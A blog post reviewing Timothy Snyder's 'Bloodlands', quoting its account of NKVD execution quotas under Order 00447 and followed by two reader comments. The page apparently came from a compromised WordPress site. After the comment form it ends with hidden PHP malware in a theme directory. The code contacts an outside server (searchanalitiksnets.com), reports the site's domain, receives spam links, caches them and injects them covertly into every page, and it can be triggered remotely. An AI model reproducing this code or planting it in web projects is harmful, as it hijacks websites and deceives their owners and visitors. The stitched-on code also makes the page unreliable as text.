Bloodlands: A Difficult, but Important, Book to Read

August 6, 2011

It’s taken a while to get through Timothy Snyder’s very important book, Bloodlands: Europe Between Hitler and Stalin, not because it was dense, but because it is relentless in its account of the killings that took place in what Snyder calls the “Bloodlands,” meaning the “territories subject to both German and Soviet police power and associated mass killing policies at some point between 1933 and 1945.” Those territories encompass Poland, Ukraine, Belarus, and the Baltics, where the great bulk of the victims of the mass killings of the Communists and the National Socialists lived.

I learned a great deal from Snyder’s book, including the history of the various Warsaw uprisings, the systematic murder of Poles and Ukrainians in Soviet Ukraine, the differences between the murder camps and the slave labor camps (with Auschwitz serving both functions), the diplomatic misperceptions of Hitler and Stalin (Stalin was obsessed by a non-existent Polish-Japanese encirclement strategy against the USSR), the reasons for the various shifts and variations between policies of murder and enslavement, and much more.

To understand better the crimes of collectivism, I recommend also Frank Dikötter’s outstanding (and similarly morally exhausting) Mao’s Great Famine: The History of China’s Most Devastating Catastrophe, 1958-1962 and Anne Applebaum’s Gulag: A History. (I recall from Applebaum’s book the astonishing information that the Communists issues numerical quotas for arrests and executions. I’m not easily shocked, but that fact shocked me. I had read before Vladimir Nobokov’s surrealistic Invitation to a Beheading, which I found quite puzzling…until I read that fact in Applebaum’s book.) Snyder investigates and explains the nature of the quotas in much greater detail than Applebaum.

Stalin and Yezhov wanted “the direct liquidation of the enter counter-revolution,” which meant the elimination of enemies “once and for all.” The revised quotas were sent back down from Moscow to the regions as part of Order 00447, dated 31 July 1937, “On the Operations to Repress Former Kulaks, Criminals, and Other Anti-Soviet Elements.” Here Stalin and Yezhov anticipated the execution of 79,950 Soviet citizens by shooting and the sentencing of 193,000 more to eight to ten years in the Gulag. It was not that the politburo or the NKVD central office in Moscow had 272,950 particular people in mind for repression. Just which Soviet citizens would fulfill these quotas remained to be seen; the local NKVD branches would decide that.

The killing and imprisonment quotas were officially called “limits,” though everyone involved knew that they were meant to be exceeded. Local NKVD officers had to explain why they could not meet a “limit,” and were encouraged to exceed them. No NKVD officer wished to be seen as lacking élan when confronting “counter-revolution,” especially when Yezhov’s line was “better too far than not far enough.” Not 79,950 but five times as many people would be shot in the kulak action. By the end of 1938, the NKVD had executed some 386,798 Soviet citizens in fulfillment of Order 00047.
—Timothy Snyder, Bloodlands: Europe Between Hitler and Stalin (New York: Basic Books, 2010), p. 81

I’m finishing up a lot of projects before packing for a trip to libertarian meetings in Nigeria, Kosovo, France, and Italy, and can’t write more (too much to do!), but I hope to return to this later.

{ 2 comments… read them below or add one }

Carlos C Tapang August 6, 2011 at 4:15 am

I think one of the greatest weaknesses of mankind is our propensity to forget the horrors of the past. These books you share here serve to remind us of what has really happend and more importantly what CAN happen again if we lower our vigilance. Thank you.

Charles N. Steele August 11, 2011 at 8:09 pm

I will definitely read the Snyder book. Thanks.

Leave a Comment

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>